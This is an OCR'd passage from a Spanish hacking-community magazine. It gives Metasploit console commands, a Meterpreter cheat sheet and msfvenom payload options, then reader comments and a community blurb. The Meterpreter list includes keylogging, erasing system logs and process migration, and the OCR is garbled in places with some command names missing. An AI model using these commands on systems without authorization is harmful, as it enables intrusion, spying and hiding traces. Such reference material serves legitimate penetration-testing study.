SSL si se indica la oPcién -S
msf> connect|192.168.1.34 23

exploit: Ejecuta el exploit cargado en el contexto de la consola.

run: Ejecuta el médulo/auxiliary cargado en el contexto de la consola.
irb: Ejecuta el interprete de Ruby para metasploit, ingresar comandos,
crear scripts, caracteristica interesante para conocer la estructura interna

del framewaork.

star y terminar comandos existentes.

load: Carga un plugin desde el directorio de plugins ubicado en la ruta de
instalacién, recibiendo como parametro el nombre del plugin.
unload: Descarga un plugin cargado, recibiendo como parametro el

nombre del plugin a descargar.

loadpath: Trata de cargar un directorio donde estan ubicados médulos,
plugins o exploits externos al framework, teniendolos en un directorio

independiente.

resource: Carga un fichero de script que serd utilizado por algun exploit /

moédulo que depende de él.

route: Establece las tablas de enrutamiento de sesiones generadas por
Metasploit. Similar a route de Linux, adicionando subredes, mascaras de

red y gateways.

info: Despliega informacién adicional de un médulo o exploit seleccionado

en la consola, incluyendo todas las opciones, objetivos, etc.

set: Opciones del mddulo o exploit seleccionado suministrando datos

necesarios para su correcta ejecucion.

unset: Elimina el valor actual de una variable del exploit o médulo en uso.
sessions: Lista, interactUa o termina sesiones generadas por modulos o
exploits, en maquinas remotas VNC, etc. con la opcién -1 se pueden listar
las sessiones generadas, -i <number> iniciar la interaccion con el ndmero de

consola establecido.

search: Ejecuta una busqueda basada en expresiones regulares con un
texto que pueda coincidir con el nombre de un modulo o exploit.
show: Muestra las diferentes opciones para médulos, exploits y payloads.

mst> show auxiliary
msf> show exploits
mst> show pa¥] oads
ms£> show options
mst> show targets
ms£> show advanced
ms£> show encoders
msf> show nops
msf> show evasion

setg: Define variables globales que serdn empleadas por todos los
maodulos o exploits cargados, de esta forma es posible definir variables
bastante comunes como LHOST, RHOST, LPORT, RPORT, etc. en una Unica
interaccién con la consola sin escribir lo mismo unay otra vez.

save: Almacena de forma permanente las variables globales establecidas
con el comando setg y las variables especificas de cada exploit en uso.
use: Permite establecer el exploit o modulo a usar en la consola de

metasploit.

F‘ObS: Maodulos que se encuentran en ejecucion en “background”, permite
|

COMANDOS DE METERPRETER

sysinfo Mostrar informacion del sistema.

ps Lista y muestra procesos en ejecucion.

kill (PID) Terminar un proceso en ejecucion.

getuid Mostrar ID de usuario.

upload o download Cargar /descargar un archivo.
pwd o lpwd Mostrar directorio de trabajo (local / remoto).
cd o lcd Cambiar directorio (local o remoto).

cat Mostrar contenido del archivo.

bglist Mostrar scripts en ejecucion en segundo plano.
bgrun Hacer que un script se ejecute en segundo plano.
bgkill Terminar un proceso en segundo plano.
background Mover sesién activa al segundo plano.
edit Editar un archivo en el editor vi.

shell Shell de acceso en la maquina de destino.
migrate Cambiar a otro proceso.

idletime Mostrar el tiempo de inactividad del usuario.
screenshot Tomar una captura de pantalla.

clearev Borrar los registros del sistema.

? Comandos disponibles.

exit / quit Salir de la sesion de Meterpreter.

shutdown / reboot Reiniciar el sistema.

use Carga de extension.

COMANDOS DE METERPRETER (CONT)
channel Mostrar canales activos.

COMANDOS DE RED

ipconfig Mostrar la configuracion de la interfaz de red.
portfwd Reenviar paquetes.

route Ver/editar tabla de enrutamiento de red.

COMANDOS DE INTERFAZ/SALIDA
Mostrar todos los escritorios disponibles.
Mostrar escritorio actual.
Iniciar keylogger en la maquina de destino.
Detener keylogger en la maquina de destino.
Configurar escritorio.
Volcado de contenido del keylogger.

COMANDOS DE MANEJO DE PROCESOS
Mostrar la ID del proceso.
Mostrar la ID de usuario.
Mostrar procesos en ejecucion.
Detener y finalizar un proceso.
Muestra multiples privilegios como sea posible.
Acceder al registro de la maquina de destino.
Acceder al shell de la maquina de destino.
Ejecuta un comando en el destino.
Moverse a un ID de proceso de destino dado.

OPCIONES DE COMANDO MSFVENOM

-p Mostrar opciones estandar de payload.

-1 Listar el tipo de médulo (payloads, encoders).

-f Formato de salida.

-e Definir qué codificador usar.

-a Definir qué plataforma usar.

-s Definir la capacidad maxima de payload.

-b Definir conjunto de caracteres para no usar.

-i Definir el nmero de veces gue se usara el codificador.
-x Definir un archivo personalizado para usar como plantilla.
-o Guardar Payload.

‘N UNDERCODE.ORG
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TEST SSL

testssl.sh es una herramienta de linea de
comandos gratuita que verifica el servicio
de un servidor en cualquier puerto para el
soporte de cifrados TLS / SSL, protocolos,
asi como fallas criptograficas recientes y
mas. es un software gratuito y de cédigo

abierto.

Funciona en todas las distribuciones de

Linux / BSD listas para usar.

GUIA DE INSTALACION POR: @R3VOLVE

Link

undercOde.org/foro/herramientas-hacking/

test-ssl/#msg140498
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mensajes ¢ oplniones
De nuestros usuarios

Gracias por el curro Denisse, A ver qué tal esta esta revista

recién salida del horno.
Un besote y un abrazo.

Muchas gracias por tu aporte estda muy buena la

revista, espero que sigan sacando mas ediciones Q

Le echaré un vistazo cuando pueda.

A ver si un dia creo un documento.

iGracias Denisse, me gusté mucho tu mensaje y el post

en si! Toda “orgullosa” de ser parte del staff Oficial, un grupo
y equipo de excelencia.

Muy buen aporte esta décima edicion de la revista digital

UnderDOCS, llevo muy poco tiempo en este foro, una semana
mas o menos desde que lo descubri, y estoy muy agradecido
de haber comenzado a formar parte de esta enorme
comunidad y seguro que seguiré al tanto espero que durante
muchos afios.

iUn saludo a todos y sobre todo al equipo que realiza este

gran trabajol!

Seguir asi, estdis realizando un trabajo excepcional, mi

agradecimiento a todos los que colaboran en la realizacién de
la revista, realizando un gran trabajo y esfuerzo.

Thanks, cada mes lo espero.

Excelente revista e informacion! -l

Felicitaciones al equipo UndercOde en su (9°) |\|oveno

aniversario. Que vengan ya nuevos retos. Gracias UndercOde.

EXPRESATE Y HAZ LLEGAR
TU MENSAJE / OPINION



https://underc0de.org/foro/profile/kabindji/
https://underc0de.org/foro/profile/Gh0stSnip3r/

Acerca de UNDERCODE...

UndercOde naci6 en 2011, con la visién de ser una comunidad dedicada al Hacking y a la Seguridad
Informatica, comprendiendo la libre divulgacion del conocimiento, compartir saberes, intercambiar aportes
e interactuar dia a dia para potenciar las capacidades y habilidades de cada uno en un ambiente cordial.
Para ello, se desarrollan talleres, tutoriales, guias de aprendizaje, papers de variados temas,
herramientas y actualizaciones informaticas.

Con un foro nutrido de muchas secciones y posts relacionados al hacking y la seguridad informdtica. A diario

los usuarios se conectan y comparten sus dudas y conocimientos con el resto de la comunidad.
En una busqueda constante por mantener online la comunidad y seguir creciendo cada dia un poquito mas.

Los invitamos a que se en caso de que no lo estén, y si ya tienen una cuenta, ingresen.


https://underc0de.org/foro/index.php?action=register

